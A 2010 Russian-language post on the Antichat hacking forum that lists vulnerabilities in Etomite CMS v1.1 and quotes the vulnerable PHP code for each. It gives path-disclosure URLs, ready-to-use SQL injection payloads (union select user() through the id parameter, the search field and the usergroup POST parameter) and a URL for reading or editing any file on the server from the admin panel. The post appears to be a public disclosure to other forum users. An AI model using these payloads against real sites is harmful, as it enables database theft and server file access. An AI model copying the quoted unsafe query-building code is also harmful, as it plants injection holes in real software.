ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
 
 
Опции темы Поиск в этой теме Опции просмотра

Обзор уязвимостей Etomite CMS v1.1
  #1  
Старый 12.01.2010, 00:53
Аватар для [NiGHT]DarkAngel
[NiGHT]DarkAngel
Участник форума
Регистрация: 29.03.2005
Сообщений: 138
Провел на форуме:
812087

Репутация: 129
По умолчанию Обзор уязвимостей Etomite CMS v1.1

1)Раскрытие путей
Код:
http://host/manager/actions/static/document_data.static.action.php
Код:
http://host/manager/includes/accesscontrol.inc.php
2)SQL-injection
Условия: Доступ в панель администрирования
Код:
http://host/manager/index.php?a=3&id=-1 union select user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27/*
Уязвимый код document_data.static.action.php:
PHP код:
$id $_REQUEST['id'];
// Tree State modifications provided by Jeroen and Raymond
if (isset($_GET['opened'])) $_SESSION['openedArray'] = $_GET['opened'];
$sql "SELECT * FROM $dbase.".$table_prefix."site_content WHERE $dbase.".$table_prefix."site_content.id = $id;";
$rs mysql_query($sql); 
Сложность в том, что sql запрос одновременно должен быть истенным еще в файле accesscontrol.inc.php:

PHP код:
$itemid = (isset($_REQUEST['id']) && !empty($_REQUEST['id'])) ? $_REQUEST['id'] : 'NULL';
$lasthittime time();
$a = isset($_REQUEST['a']) ? $_REQUEST['a'] : "" ;

if(
$a!=1) {
  
$sql "REPLACE INTO $dbase.".$table_prefix."active_users(internalKey, username, lasthit, action, id, ip) values(".$_SESSION['internalKey'].", '".$_SESSION['shortname']."', '".$lasthittime."', '".$a."', ".($itemid == 'NULL' 'NULL' "'$itemid'").", '$ip')";
  if(!
$rs mysql_query($sql)) {
    echo 
"error replacing into active users! SQL: ".$sql;
    exit;
  }

3)SQL-injection
Условия: Доступ в панель администрирования
Код:
В админке, заходи в поиск и в строке поиска по id пишем 1' union select 1,2,user(),4,5,6,7/*
Уязвимый код search.static.action.php:
PHP код:
<?php
if(isset($_REQUEST['submitok'])) {
  
$searchid $_REQUEST['searchid'];
  
$searchtitle htmlentities($_POST['pagetitle'], ENT_QUOTES);
  
$searchcontent addslashes($_REQUEST['content']);
  
$searchlongtitle addslashes($_REQUEST['longtitle']);


$sqladd .= $searchid!="" " AND $dbase.".$table_prefix."site_content.id='$searchid' " "" ;
$sqladd .= $searchtitle!="" " AND $dbase.".$table_prefix."site_content.pagetitle LIKE '%$searchtitle%' " "" ;
$sqladd .= $searchlongtitle!="" " AND $dbase.".$table_prefix."site_content.longtitle LIKE '%$searchlongtitle%' " "" ;
$sqladd .= $searchcontent!="" " AND $dbase.".$table_prefix."site_content.content LIKE '%$searchcontent%' " "" ;

$sql "SELECT id, pagetitle, description, deleted, published, isfolder, type FROM $dbase.".$table_prefix."site_content where 1=1 ".$sqladd." ORDER BY id;";

$rs mysql_query($sql);
$limit mysql_num_rows($rs);
?>
4)SQL-injection
Условия: Доступ в панель администрирования
Код:
При выставлении прав групп пользователей на права просмотра группы документов подменяем в POST запросе параметр usergroup  на 1'union select 1,2,3/*
Уязвимый код access_groups.processor.php:
PHP код:
    $usergroup $_REQUEST['usergroup'];
    if(empty(
$usergroup))
    {
      echo 
"No user group name specified for deletion";
      exit;
    }
    else
    {
      
$sql "DELETE FROM $dbase.".$table_prefix."membergroup_names WHERE id='".$usergroup."'";
      if(!
$rs mysql_query($sql))
      {
        echo 
"Unable to delete group. SQL failed.";
        exit;
      } 
5)Работа с файлами(просмотр и редактирование любых файлов на сервере)
Условия: Доступ в панель администрирования
Код:
http://host/manager/index.php?a=31&mode=edit&path=[full_path_to_file]
Уязвимый код access_groups.processor.php:
PHP код:
if($_REQUEST['mode'] == "edit" || $_REQUEST['mode'] == "view")
{
$filename=$_REQUEST['path'];
$handle = @fopen($filename"r");
if(!
$handle)
{
  echo 
'Error opening file for reading.';
  exit;
}
else
{
  while(!
feof($handle))
  {
    
$buffer .= fgets($handle4096);
  }
  
fclose ($handle);

Линк для скачки CMS: http://www.etomite.com/index.php?app=downloads&showfile=323

PS Конструктивную критику воспринимаю очень хорошо
 
Ответить с цитированием
 



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Сценарии/CMF/СMS 184 15.06.2010 11:10
Алгоритмы хэширования в различных CMS ErrorNeo Расшифровка хешей 5 02.06.2010 17:41
[ Обзор уязвимостей e107 cms ] Nightmarе Сценарии/CMF/СMS 70 28.05.2010 16:42
10 вещей, которые нужно учитывать при выборе идеальной CMS Andres Статьи 0 27.06.2009 02:38
[ Обзор уязвимостей Danneo CMS ] [Raz0r] Сценарии/CMF/СMS 2 02.06.2009 22:24



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ